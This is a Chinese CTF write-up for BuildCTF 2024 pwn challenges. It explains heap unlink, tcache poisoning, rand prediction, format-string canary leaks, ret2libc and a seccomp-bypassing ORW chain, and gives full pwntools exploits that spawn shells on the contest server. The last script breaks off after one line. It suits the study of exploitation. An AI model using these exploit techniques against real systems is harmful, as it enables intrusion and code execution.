BuildCTF 2024 wp - Pwn & Reverse by ShallowDream

BuildCTF 2024 wp - Pwn & Reverse by ShallowDream

http://buildctf.online:8000/games/2/challenges

Pwn

1.off-by-one - by ShallowDream

拿到题目发现保护全开,眉头一皱直接运行,发现题目输出了一个地址,但是并不是 0x7f 开头的,推测这是直接告诉了我们一个代码段的地址,那么 PIE 的问题就已经解决了。

然后程序提供4个功能,add,delete,edit,show,打开 IDA 细看。

发现是一道堆题,具体看每个函数的功能是否存在漏洞:

  • add 里面下标检查没问题,不过将 size 单独存在一个数组来控制长度。

  • free 里面有及时清零,没问题。

  • edit 里面有一个明显的单字节溢出,下标没问题。

  • show 里面通过 puts 来输出 note[]里面的堆地址,可以修改note[]里的地址来输出别处,用以泄露。

同时发现题目先前输出的地址,是一个backdoor函数的地址,可以计算得到 PIE 的基地址。

    ru(b"give you a gift:0x")
    gift_addr = int(rud(b"1."),16)
    addr_base = gift_addr - gift_delta_addr
    note_addr = addr_base + note_delta_addr

先把菜单的几个函数写好:

def menu(id):
    sla(b"please choise: ",str(id))

def add(size,content):
    menu(1)
    sla(b"choise the size: ",str(size))
    sla(b"do you want to write data into this note?\n",str(1))
    sa(b"please input the content: ",content)

def delete(id):
    menu(2)
    sla(b"please input the index: ",str(id))

def edit(id,content):
    menu(3)
    sla(b"please input the index: ",str(id))
    sa(b"please enter the content to be edited: ",content)

def show(id):
    menu(4)
    sla(b"please input the index: ",str(id))

那么接着我们可以想办法执行这个函数:

由于这题是 FULL RELRO,got表不可以修改!(蒟蒻先前忘记了,走了好久的歪路,撞了南墙才回头)

并且这题题目给了我们 libc 和 ld 两个库,那么我们可以尝试获得 libc 的基地址,然后算出 malloc_hook 或 free_hook 的地址,修改其中的函数地址为 backdoor ,在下次执行 malloc 或 free 前执行 hook 函数的时候就会先执行 backdoor 来获得权限了。(malloc_hook 和 free_hook 指的是系统提供的,允许在这两个函数执行前执行一个自定义的,用来进行初始化或者检测的函数,将函数地址存放在其中即可。默认为空不执行。)

由于我们需要 libc 的基地址,而 unsorted bin 是双向链表有个特性,在只有一个元素的时候 fd 和 bk 都会指向链表的起始位置,而这个起始位置是位于 libc 内的,所以如果知道了这个起始位置,减去其与题目告诉的 libc 的基址的固定偏移量,就可以得到 libc的基址。

而由于这是高版本的 libc,存在一个 tcache 的结构,释放的 0x20 到 0x420 大小(含堆头)之间的堆并不会直接进入 fastbin 和 unsorted bin,而是会先进入这种长度的 tcache 缓冲区内,每种缓冲区大小最大为 7,然后才会进入 unsorted bin。所以我们申请的用来合并的堆要能被释放进入 unsorted 内,大小建议大一些比如 0x450 (含堆头),同时为了防止向后与 top chunk 合并,应当再申请堆来隔离。

add(0x38,b'chunk0')     # 末位向 8 对齐
add(0x440,b'chunk1')    # 0x440 不进入 tcache
add(0x100,b'chunk2')    # 大于后续所需 py 长度即可
add(0x100,b'chunk3')    # 隔离下

由于现在不用考虑 PIE 的问题了,并且这题只允许溢出一个字节,可以用来修改下一个堆块的标志位(标志上一个堆块是否被释放),那么我们考虑使用 unlink 技术来满足任意地址的写入的需求:

先申请两个堆,第一个大小需要向 8 对齐,这样才可以修改下一个堆块的presize 大小,同时溢出的那个字节会写到下一个堆块的 size 末尾来修改标志位,然后在第一个堆里构造出一个伪装着已经被释放了的堆,大小为第一个堆减掉一个表头 0x10,fd 指针指向 &note[0]-0x18,bk指针指向 &note[0] - 0x10,满足 unlink 的指针检测,下一个堆块的标志位检测,和下一个堆块的 presize 检测,准备使用 unlink 。

unlink 的原理是检查该节点 理论上指向上一个节点的指针fd,其bk指针是否指向自己;且该节点 理论上指向下一个节点的指针bk,其fd指针是否指向自己。但是程序认为这两个指针都是指向一个堆的表头,并且这个堆的表头+0x10 位置存fd指针,+0x18位置存bk指针。所以我们只要找到某个位置里面存储着该节点的地址,将该节点的fd指针指向那个位置-0x18,将该节点的bk指针指向那个位置-0x10,那么检测的时候偏移完都是从那个位置里面取出地址,而里面存的就是该节点的地址,就通过了unlink检测,然后进行两个指针赋值。原本用来断开链表的操作现在使得那个位置里面的值改为了那个位置的地址-0x18。

fd = note_addr - 0x18
bk = note_addr - 0x10
py = p64(0) + p64(0x31) + p64(fd) + p64(bk) + p64(0)*2 + p64(0x30) + b'\x50'
edit(0,py)      # 伪装堆
delete(1)       # unlink

那么对于这题,note[0] 里面存着 chunk0 的地址,经过unlink 后note[0] 里面存的便是 &note[0]-0x18了,那么我们接着edit(0) 就是从 &note[0]-0x18 的位置开始写入,可以覆盖管理堆的指针数组note[] 的内容了。

此时的伪装堆的fd 和 bk 里面存的便都是unsorted bin 的双向链表表头,那么我们需要想办法泄露出来。考虑到题目提供了puts,那么我们只需要将note[1]指向伪装堆的fd所在的地址,然后便可以用show(1)输出出来了。

那么我们需要先泄露出堆所在的地址,这只需要先将note[1] 指向note[2],就可以输出存在note[2]中的chunk2 的地址(指向数据开头),我们先前知道了note[0]的地址,+16就是note[2]的地址。由于现在note[0]=&note[0]-0x18,先用24个字节填充前面,然后让note[0] = &note[0]方便后续操作,在让note[1]=&note[2],就可以输出其中的地址了:

py = b'AAAAAAAA'*3 + p64(note_addr) + p64(note_addr+8*2)
edit(0,py)      # 修改 note内地址,准备泄露堆地址
show(1)

然后接收下来,减去chunk2的堆头0x10,减去chunk1的数据加堆头0x450,再减去chunk0的数据长度,就算出了chunk0的数据区的起始位置,也就是伪装堆的堆头起始位置:

chunk2_addr = u64(p.recvuntil(b'\n1. add',drop=True)[-6:].ljust(8,b'\x00'))
chunk0_addr = chunk2_addr - 0x10 - 0x450 - 0x30  # 泄露 chunk0 的数据地址

然后修改note[1]=chunk0_addr,注意是从note[0]开始写的,要保留一下note[0]:

py = p64(note_addr) + p64(chunk0_addr)      # 准备修改 chunk0
edit(0,py)

由于puts在输出时遇到\x00 会截断,而伪装堆伪装时前面是0,则将前面覆盖为非零,并且发现unsoted bin 的双向链表表头的地址是末位向 0 对齐的,而小端程序便是会先遇到这个 0 会使puts终止,那么我们也改为非零的1:

py = b'A'*16 + b'\x01'
edit(1,py)      # 经测试,地址末尾对齐 0,防止 puts 截断改为 1

那么此时show(1)就可以获得libc的一个真实地址了,而这个固定的偏移量我们需要用gdb动态调试计算:切记!一定要先用 patchelf 将下载下来的 elf 文件的 libc 和 ld 改为题目给出的两个库!不同的库算出来的偏移量是不一样的(蒟蒻爆哭,卡死了在这里!),先 patchelf --set-interpreter 目标ld库 目标文件,然后再 patchelf --replace-needed 原先的libc库 目标libc库。

然后在pwndbg中用 heap 查看fd 里面的地址,再用libc 查看此时的libc基址,便可以算出题目给出的libc库的固定偏移量:

libc_delta = 0x1E3C00   # 由 heap内地址 - libc基地址 算出的偏移量,动态调试获得

然后便可以泄露程序内的地址,算出libc此次的基地址,然后算出free_hook的地址(蒟蒻做的时候没想起来有个 backdoor,用system做的不过大差不差,写WP的时候才发现的):

show(1)            # 泄露 libc 地址
libc_base = uu64()-1 - libc_delta   # 计算基地址
sys_addr = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]     # 计算 free_hook 地址

最后往 note[0] 内写入 free_hook 的地址,下次 edit(0,sys_addr) 就是往free_hook的地址内写system的地址了:

py = p64(free_hook)    # 准备修改 free_hook ,将 note[0] 地址指向它
edit(0,py)

py = p64(sys_addr)      # 修改 free_hook 内为 system() 地址
edit(0,py)

然后往chunk3内写入/bin/sh,再delete(3),就可以实现 system("/bin/sh")了:

edit(3,b'/bin/sh\x00')  # 将 chunk3 内写入 /bin/sh
delete(3)              # 执行 system("/bin/sh")

当然直接向 free_hook 内写 backdoor 的地址更快,直接delete 任意一个就获得权限了:

py = p64(gift_addr)   # 也可以直接把 backdoor 的地址写进去
edit(0,py)
delete(3)              # 执行 system("/bin/sh")

完整EXP:

# -*- coding: utf-8 -*-
from LibcSearcher import LibcSearcher
from cryptography.utils import int_to_bytes
from pwn import *
# context.terminal = ['tmux','splitw','-h']
context(log_level = "debug",arch = "amd64",os = 'linux')
file_name = './off-by-one'
ip = '27.25.151.80'; port = '40339'
# ld_name = '/home/shallow2/glibc-all-in-one/libs/.../ld-2.23.so'
# libc_name='/home/shallow2/glibc-all-in-one/libs/.../libc.so.6'
libc_name = 'libc-2.32.so'

def connect():
    global p, elf, libc
    local = 0
    if local:
        # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
        p = process(file_name)
    else:
        p = remote(ip,port)
    elf = ELF(file_name)
    libc = ELF(libc_name)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda n                  :p.recv(n)
rl      = lambda n                  :p.recvline(n)
ru      = lambda x                  :p.recvuntil(x)
rud     = lambda x                  :p.recvuntil(x, drop = True)
uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
n2b     = lambda data               :str(data).encode("utf-8")
ita     = lambda                    :p.interactive()
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def db():
    gdb.attach(p)

def menu(id):
    sla(b"please choise: ",n2b(id))

def add(size,content):
    menu(1)
    sla(b"choise the size: ",n2b(size))
    sla(b"do you want to write data into this note?\n",n2b(1))
    sa(b"please input the content: ",content)

def delete(id):
    menu(2)
    sla(b"please input the index: ",n2b(id))

def edit(id,content):
    menu(3)
    sla(b"please input the index: ",n2b(id))
    sa(b"please enter the content to be edited: ",content)

def show(id):
    menu(4)
    sla(b"please input the index: ",n2b(id))

def pwn():
    gift_delta_addr = 0x1289
    note_delta_addr = 0x4060

    ru(b"give you a gift:0x")
    gift_addr = int(rud(b"1."),16)
    addr_base = gift_addr - gift_delta_addr
    note_addr = addr_base + note_delta_addr
    # print(hex(gift_addr))
    # print(hex(addr_base))
    # print(hex(note_addr))

    add(0x38,b'chunk0')     # 末位向 8 对齐
    add(0x440,b'chunk1')    # 大于0x440 不进入 tcache
    add(0x100,b'chunk2')    # 大于所需 py 长度即可
    add(0x100,b'chunk3')    # 以防万一隔离下

    # show(0)
    fd = note_addr - 0x18
    bk = note_addr - 0x10
    py = p64(0) + p64(0x31) + p64(fd) + p64(bk) + p64(0)*2 + p64(0x30) + b'\x50'
    edit(0,py)      # 伪装堆
    delete(1)          # unlink

    py = b'AAAAAAAA'*3 + p64(note_addr) + p64(note_addr+8*2)
    edit(0,py)      # 修改 note内地址,准备泄露堆地址
    show(1)

    chunk2_addr = u64(p.recvuntil(b'\n1. add',drop=True)[-6:].ljust(8,b'\x00'))
    chunk0_addr = chunk2_addr - 0x10 - 0x450 - 0x30  # 泄露 chunk0 的数据地址
    # print(hex(chunk2_addr))
    # print(hex(chunk0_addr))

    py = p64(note_addr) + p64(chunk0_addr)      # 准备修改 chunk0
    edit(0,py)

    py = b'A'*16 + b'\x01'
    edit(1,py)      # 经测试,地址末尾对齐 0,防止 puts 截断改为 1

    libc_delta = 0x1E3C00   # 由 heap内地址 - libc基地址 算出的偏移量,动态调试获得
    show(1)            # 泄露 libc 地址
    libc_base = uu64()-1 - libc_delta   # 计算基地址
    # print(hex(libc_base))
    sys_addr = libc_base + libc.sym["system"]
    free_hook = libc_base + libc.sym["__free_hook"]     # 计算 free_hook 地址
    # print(hex(sys_addr))
    # print(hex(free_hook))

    py = p64(free_hook)    # 准备修改 free_hook ,将 note[0] 地址指向它
    # py = p64(gift_addr)   # 也可以直接把 backdoor 的地址写进去
    edit(0,py)

    py = p64(sys_addr)      # 修改 free_hook 内为 system() 地址
    edit(0,py)
    # show(0)

    edit(3,b'/bin/sh\x00')  # 将 chunk3 内写入 /bin/sh
    delete(3)              # 执行 system("/bin/sh")

    # db()
    ita()

connect()
pwn()

2.eznote - by ShallowDream

打开题目发现保护全开,运行发现是一个菜单的堆题,提供 Create,Edit,Show,Delete 全部功能,打开IDA细看各个功能的漏洞,简单逆向一下:

  • Create 里面只能按顺序申请,最多15个,大小检查没问题。
  • Edit 里没对输入的长度检查,存在溢出。
  • Show 使用 printf 的 %s 输出,可以用来泄露
  • Delete 指定位置释放后没有请空指针,可以操作已释放的堆。

先写出菜单:

def meau(idx):
    ru("Your choice : > ")
    sl(str(idx))

def add(size,content):
    meau(1)
    sla("The size of this note : ",str(size))
    sa("The content of this note : ",content)

def show(idx):
    meau(3)
    sla("The index of this note : ",str(idx))

def edit(idx,size,content):
    meau(2)
    sla("The index of this note : ",str(idx))
    sla("The size of this content : ",str(size))
    sa("The content of this note : ",content)

def delete(idx):
    meau(4)
    sla("The index of this note : ",str(idx))

本题使用 libc-2.31 大于 2.26 版本,有 tcache 存在。那么大致有了操作思路,先释放 7个大于 0x80 的堆(包括表头)进入 tcache 填满这条链,同时保证释放后不会进入 fast_bin 一定进入 unsorted_bin 。

申请大小为 0x69 - 0x78 范围的堆大小都是 0x80(因为有下一个堆的 pre_data 还有 0x08 的大小),所以我们申请的大小需要大于 0x78,从 0x79 到 0x80 都可以:

    for i in range(8):
        add(0x79,"chunk"+str(i))
    for i in range(7):
        delete(i)

然后再释放一个相同大小的堆,此时 unsorted_bin 里面只有一个堆,由于存储结构为双向链表,此时的双向链表的两个指针 fd 和 bk 都会指向链表的表头,而 unsorted 的表头在 libc 内,可以 Show 这个已经释放了的堆得到一个 libc 内的地址。

    delete(7)
    show(7)
    libc_addr = uu64()

此外我们可以通过动态调试得到这个表头距离 libc_base 的偏移量,记得在此之前一定要先用 patchelf 工具修改 libc 库和 ld 库!

便可以用刚才的 libc 地址计算出 libc_base 基址:

	libc_delta = 0x1ecbe0
    libc_base =  libc_addr - libc_delta

由于开了 FULL RELRO,got表不可以修改,且获得了 libc 地址,考虑打 malloc_hook 或 free_hook。

那么由于我们可以修改已经释放了的堆,而 tcache 通过单链表索引,有着后入先出的特点,并且不检查目标地址的大小!那么我们将最后一个释放的堆的 fd 指针指向 free_hook,在申请这个堆之后,下一个申请的相同大小的堆就会在 free_hook 上。

由于 tcache 的指针才用的规则与 fast_bin 不同,直接指向数据区,所以我们直接将指针改为 free_hook 的地址即可,然后便可以通过题目提供的 Edit 修改里面的地址为 system,这样下次在调用 free 之前调用 free_hook 的时候便会执行 system 函数了:

    sys_addr = libc_base + libc.sym["system"]
    free_hook = libc_base + libc.sym["__free_hook"]

    edit(6,0x79,p64(free_hook))
    add(0x79,"chunk6again")
    add(0x79,p64(sys_addr))

最后找一个数据区里面写有 /bin/sh 的堆来 Delete ,便可以执行 system("/bin/sh") 了,我们在前面申请堆的时候多申请一个,最后直接释放即可:

    for i in range(8):
        add(0x79,"chunk"+str(i))
        
    add(0x79,"/bin/sh\x00")
    #...
    #...
    delete(8)

完整EXP:

# -*- coding: utf-8 -*-
from LibcSearcher import LibcSearcher
from cryptography.utils import int_to_bytes
from pwn import *
# context.terminal = ['tmux','splitw','-h']
context(os = 'linux',log_level = "debug",arch = "amd64")
file_name = './attachment'
ip = '27.25.151.80'; port = '43561'
libc_name = 'libc-2.31.so'

def connect():
    global p,elf,libc
    local = 0
    if local:
        # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
        p = process(file_name)
    else:
        p = remote(ip,port)
    elf = ELF(file_name)
    libc = ELF(libc_name)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda n                  :p.recv(n)
rl      = lambda n                  :p.recvline(n)
ru      = lambda x                  :p.recvuntil(x)
rud      = lambda x                 :p.recvuntil(x, drop = True)
uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
ita     = lambda                    :p.interactive()
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def db():
    gdb.attach(p)

def meau(idx):
    ru("Your choice : > ")
    sl(str(idx))

def add(size,content):
    meau(1)
    sla("The size of this note : ",str(size))
    sa("The content of this note : ",content)

def show(idx):
    meau(3)
    sla("The index of this note : ",str(idx))

def edit(idx,size,content):
    meau(2)
    sla("The index of this note : ",str(idx))
    sla("The size of this content : ",str(size))
    sa("The content of this note : ",content)

def delete(idx):
    meau(4)
    sla("The index of this note : ",str(idx))

def pwn():
    for i in range(8):
        add(0x79,"chunk"+str(i))
    add(0x79,"/bin/sh\x00")

    for i in range(7):
        delete(i)

    delete(7)
    show(7)
    libc_delta = 0x1ecbe0
    libc_base = uu64() - libc_delta
    sys_addr = libc_base + libc.sym["system"]
    free_hook = libc_base + libc.sym["__free_hook"]

    edit(6,0x79,p64(free_hook))
    add(0x79,"chunk6again")
    add(0x79,p64(sys_addr))

    delete(8)
    # db()
    ita()

connect()
pwn()

3.babyrand - by ShallowDream

发现本题保护全开

在 login 函数内发现,随机数的种子使用的是当前的时间,并且题目给出了使用的动态链接库,那么我们可以用 time() 获取当前时间从而获得随机数的种子,从而用相同的动态库中的 rand 生成与题目相同的密码序列。

libc.srand(int(time()))
v4 = list(libc.rand()%25+32 for i in range(11))

登入后返回 main,发现输入的 buf 下方存在 printf 格式化溢出漏洞,可以用来泄露 canary。

先用 b'DDDD' + b'.%x'*14 来确定到 buf 的偏移量,从而加上 buf 长度确定到 caranay 偏移量为17:

# payload2 = b'DDDD' + b'.%x'*14
payload2 = b'%17$p'
io.sendline(payload2)
io.recvuntil(b'Please enter your content!\n0x')
canary = int(io.recv(16),16)

接着题目泄露出了 puts 的 got表内地址,并且题目附件中给出了动态链接库,那么我们便可以计算得到偏移量从而求出 libc 库中 system 函数和 /bin/sh 字符串的地址。

io.recvuntil(b"Here's a little present for you 0x")
puts_got = int(io.recv(16),16)
libc_delta = puts_got - libc2.symbols["puts"]

sys_addr = libc_delta + libc2.symbols["system"]
binsh_addr = libc_delta + next(libc2.search(b"/bin/sh"))

由于这是 64位 程序,通过寄存器传参,并且需要对齐 rsp 末位为0,考虑通过 ropper 工具获得 gadget。

由于开了PIE保护,我们考虑从 libc 中得到 pop_rdi_ret 和 ret 的地址,然后加上先前求出的偏移量得到程序内的地址,接着便可以构造 pad 获得权限了。

pop_rdi_ret = 0x2a3e5 + libc_delta
ret = 0xf8c92 + libc_delta

先填满 buf 然后覆盖 canary 为泄露的值,然后覆盖 rbp,接着用 rdi 传参,然后对其 rsp,最后填入 system 函数的地址,即可完成 payload 构造获得权限。

记得程序是小端序,要把输入的 canary 倒着输入。

payload3 = b'A'*0x58 + int_to_bytes(canary)[::-1] + b'a'*0x08 +\
        p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(sys_addr)

由于本地时间和系统时间稍有差别,有时 time() 获得的种子会不同导致报错,多尝试至时间相同即可。

完整EXP:

from cryptography.utils import int_to_bytes
from pwn import *
from time import *
from ctypes import *
io = remote("27.25.151.80",36780)
libc = cdll.LoadLibrary('./libc.so.6')
libc2 = ELF('./libc.so.6')
elf = ELF("./vuln")

libc.srand(int(time()))
v4 = list(libc.rand()%25+32 for i in range(11))
payload1 = b""
for x in v4: payload1 += int_to_bytes(x)
io.sendline(payload1)

# payload2 = b'DDDD' + b'.%x'*14
payload2 = b'%17$p'
io.sendline(payload2)
io.recvuntil(b'Please enter your content!\n0x')
canary = int(io.recv(16),16)
# print(hex(canary))

io.recvuntil(b"Here's a little present for you 0x")
puts_got = int(io.recv(16),16)
libc_delta = puts_got - libc2.symbols["puts"]
# print(hex(libc_delta))
sys_addr = libc_delta + libc2.symbols["system"]
binsh_addr = libc_delta + next(libc2.search(b"/bin/sh"))
pop_rdi_ret = 0x2a3e5 + libc_delta
ret = 0xf8c92 + libc_delta

payload3 = b'A'*0x58 + int_to_bytes(canary)[::-1] + b'a'*0x08 +\
        p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(sys_addr)
io.sendline(payload3)

io.interactive()

4.randbox - by ShallowDream

查看保护,发现只开了 NX, 进入 IDA 分析:

发现第一行调用了一个函数 setup_seccomp,开了沙盒,那么我们用 seccomp-tools dump ./randbox 查看一下具体的细节,发现 execve 指令被禁用了,那么我们就不能用 system 和 execve 来获取权限了。

逆向一下代码,有一个猜数字的简单逻辑,由于题目提供了libc 库,那么我们可以使用相同的 libc 库来获取一样的时间种子,然后调用 rand 便可以获得一样的随机数:

libclib = cdll.LoadLibrary('./libc-2.31.so')
def guess():
    ru(b'Guess what?\n')
    libclib.srand(int(time.time()))
    cur = libclib.rand() % 50
    sl(str(cur))

注意在本地调试的时候使用 ldd 指令查看链接的是本地的哪一个库,由于题目没有给 ld 库不要使用 patchelf 来更改两个动态链接库。

    local = 1
    if local:
        libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
        libclib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
        p = process(file_name)
    else:
        libc_name = 'libc-2.31.so'
        libclib = cdll.LoadLibrary('./libc-2.31.so')
        p = remote(ip,port)

在猜对数字后进入一个栈溢出的脆弱函数,由于有沙盒,我们考虑使用 orw 技术,即 open("./flag") 打开flag 文件,再 read() 文件内的内容到 bss 数据段内,最后 write() 将 bss 段内的数据显示出来。

  • open() 的三个参数分别为:文件路径,打开方式,文件权限。其中第二个参数 0 为只读,第三个参数只有在创建新文件的时候才有用。所以我们只需要传两个参数,rdi = &'./flag'rsi = 0
    (打开成功返回 0,失败返回 -1)
  • read() 的三个参数分别为:文件描述符 fd,存储位置,读取长度。
    第一个参数描述 linux 文件状态,fd 为 0 为标准输入即控制台输入,1 为标准输出即控制台输出,2 为标准错误表示出错,3 为打开的第一个文件,4 ,5,6 依次为打开的新文件的文件描述符。那么此时我们在 open 后打开了一个文件,它的描述符就是 3,我们这个参数传 3,表示从 flag 这个文件里面读数据。
    第二个参数为存储的位置,写 bss 段的一个地址即可。第三个参数要读取的最大字符数,一般答案 flag 不会很长,写一个 0x30,0x50 都够用。
    所以我们传三个参数,rdi = 3rsi = bss_addrrdx = 0x30
    (成功时返回读取的字节数,失败时返回 -1,并设置错误类型在 errno 内)
  • write 的三个参数分别为:文件描述符 fd,读取位置,输出长度。第一个参数同上,1 表示控制台标准输出。第二个参数为先前的 bss 段的地址。第三个参数输出 0x30 即可。
    所以我们也传三个参数 rdi = 1rsi = bss_addrrdx = 0x30
    (成功时返回写入的字节数,失败时返回 -1,并设置错误代码存入 errno 内)

经过以上三个操作,同一个目录下的 flag 文件内的数据就会被显示到屏幕上来了。最后我们需要找一个传参工具,由于溢出的长度为 0xD8 足够长,我们可以使用自带的 magic_gadget 即 __libc_csu_init 函数来传参和调用函数。注意!!本题的 libc 的传参顺序有所不同,查看函数发现传参顺序为 0,1,rdi,rsi,rdx,func,依次来写出通用过程(先前算错了以为 mov 后长度不够再调用第二次了,就有些冗长):

def pre(rbx,rbp,r12,r13,r14,r15):  #7
    py = p64(prepare_addr)      #   rdi       ,rsi       ,rdx      ,func
    py += p64(rbx) + p64(rbp) + p64(r12)+ p64(r13) + p64(r14) + p64(r15)
    return py

def mov():	#8
    py = p64(move_addr)
    py += p64(0)*7
    return py

首先我们在第一次溢出的时候先泄露出 libc 的基址,用 puts 函数输出 read 函数 got 表内存储的地址。然后通过计算便可以得出 libc_base ,然后计算出 openreadwrite三个函数的地址,为后续 orw 做准备:

	guess()     #leak  <-  libc
    py = b'A' * 0x20 + b"B" * 0x08
    py += pre(0,1,read_got,0,0,puts_got) + mov() + p64(main_addr)
    sl(py)

    libc_base = uu64() - libc.symbols["read"]
    open_addr = libc_base + libc.symbols["open"]
    read_addr = libc_base + libc.symbols["read"]
    write_addr = libc_base + libc.symbols["write"]

由于 open 的时候需要一个文件路径,我们要提前在 bss 段内写入一下 ./flag ,这样在传参的时候将这个字符串的地址作为第一个参数传入即可打开 ./flag 文件。那么我们第一次溢出的时候调用 read 函数写入 bss 段:

    guess()     #read  ->  bss
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,0,bss_addr,0x30,read_got) + mov() + p64(main_addr)
    sl(py)

然后写入 ./flag,有时参数传的太快收不到可以 sleep() 一下:

    py = b'./flag\x00\x00' + p64(open_addr) + p64(write_addr)
    sleep(0.1); sl(py)

接下来第二步,打开 flag 文件:

    guess()     #open  ->  flag
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,bss_addr,0,0,bss_addr+0x8) + mov() + p64(main_addr)
    sl(py)

读入 bss 段内:

    guess()     #read  ->  bss
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,3,bss_addr+0x50,0x30,read_got) + mov() + p64(main_addr)
    sl(py)

输出到控制台内:

    guess()     #write  ->  show
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,1,bss_addr+0x50,0x30,bss_addr+0x10) + mov() + p64(main_addr)
    sl(py)

在本地调试的话,可以在同一个文件加下创建一个 flag 文件,在里面写入一点东西,这样调试成功的时候便可以把本地 flag 文件内的内容输出出来。

完整EXP:

# -*- coding: utf-8 -*-
from ctypes import *
from time import *
from LibcSearcher import LibcSearcher
from pwn import *
# context.terminal = ['tmux','splitw','-h']
context(log_level = "debug",arch = "amd64",os = 'linux')
ip = '27.25.151.80'; port = '43059'

def connect():
    global p,elf,libc,libclib,libc_name,file_name
    file_name = './randbox'
    local = 1
    if local:
        # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
        libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
        libclib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
        p = process(file_name)
    else:
        libc_name = 'libc-2.31.so'
        libclib = cdll.LoadLibrary('./libc-2.31.so')
        p = remote(ip,port)
    elf = ELF(file_name)
    libc = ELF(libc_name)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda n                  :p.recv(n)
rl      = lambda n                  :p.recvline(n)
ru      = lambda x                  :p.recvuntil(x)
rud     = lambda x                  :p.recvuntil(x, drop = True)
uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
ita     = lambda                    :p.interactive()
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def db():
    gdb.attach(p)

def guess():
    ru(b'Guess what?\n')
    libclib.srand(int(time.time()))
    cur = libclib.rand() % 50
    sl(str(cur))

prepare_addr = 0x4015BA
move_addr = 0x4015A0
ret = 0x40101a
main_addr = 0x40144E
bss_addr = 0x404200
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

def pre(rbx,rbp,r12,r13,r14,r15): #7
    py = p64(prepare_addr)      #   rdi       ,rsi       ,rdx      ,func
    py += p64(rbx) + p64(rbp) + p64(r12)+ p64(r13) + p64(r14) + p64(r15)
    return py

def mov():#8
    py = p64(move_addr)
    py += p64(0)*7
    return py

def pwn():

    guess()     #leak  <-  libc
    # db()
    py = b'A' * 0x20 + b"B" * 0x08
    py += pre(0,1,read_got,0,0,puts_got) +\
          mov() + p64(main_addr)
    sl(py)

    libc_base = uu64() - libc.symbols["read"]
    open_addr = libc_base + libc.symbols["open"]
    read_addr = libc_base + libc.symbols["read"]
    write_addr = libc_base + libc.symbols["write"]
    # print("libc_base :",hex(libc_base))
    # print("open_addr :",hex(open_addr))
    # print("read_addr :",hex(read_addr))
    # print("write_addr:",hex(write_addr))

    guess()     #read  ->  bss
    # db()
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,0,bss_addr,0x30,read_got) +\
          mov() + p64(main_addr)
    sl(py)

    # db()      #read <- content
    py = b'./flag\x00\x00' + p64(open_addr) + p64(write_addr)
    sleep(0.1); sl(py)

    guess()     #open  ->  flag
    # db()
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,bss_addr,0,0,bss_addr+0x8) +\
          mov() + p64(main_addr)
    sl(py)

    guess()     #read  ->  bss
    # db()
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,3,bss_addr+0x50,0x30,read_got) +\
          mov() + p64(main_addr)
    sl(py)

    guess()     #write  ->  show
    # db()
    py = b'A'*0x20 + b"B"*0x08
    py += pre(0,1,1,bss_addr+0x50,0x30,bss_addr+0x10) +\
          mov() + p64(main_addr)
    sl(py)

    ita()

connect()
pwn()

5.real_random - by ShallowDream

观察到题目使用 strcmp 来按字节比较两个8字节整数,但 strcmp 函数遇到 0 就停止。
所以考虑直接输入\0,即可在生成的随机数末字节为 0 时通过检测。

再适量爆破一下即可:

EXP:

from pwn import *
io = remote("27.25.151.80",34941)
for i in range(10000):
    io.sendline(b'\x00')
io.interactive()

6.no_shell - by ShallowDream

题目泄露出了 printf的 got表内地址,并且题目附件中给出了动态链接库,那么我们仍便可以计算得到偏移量从而求出 libc 库中 system 函数和 /bin/sh 字符串的地址。

io.recvuntil(b'this is gift:0x')
printf_got = int(io.recvuntil(b'\n'),16)
libc_delta = printf_got - libc.symbols["printf"]
sys_addr = libc_delta + libc.symbols["system"]
binsh_addr = libc_delta + next(libc.search(b'/bin/sh'))

由于这是 64位 程序,通过寄存器传参,并且需要对齐 rsp 末位为0,考虑通过 ropper 工具获得 gadget。

由于在 elf 文件中并没有找到 gadget,我们再次考虑从 libc 中得到 pop_rdi_ret 和 ret 的地址,然后加上先前求出的偏移量得到程序内的地址,接着便可以构造 pad 获得权限了。

pop_rdi_ret = libc_delta + 0x2a3e5
ret = libc_delta + 0xf8c92

填充 buf,填充 rbp,对其rsp,用 rdi 传参,填入 system 地址:

rubbish = b'A'*0x80 + b'a'*0x08
payload = rubbish + p64(pop_rdi_ret) + p64(binsh_addr)+\
            p64(ret) + p64(sys_addr)

若期间遇到输入太快两次输入连在一起的问题,可以用 sleep() 手动延迟一下。

完整EXP:

from pwn import *
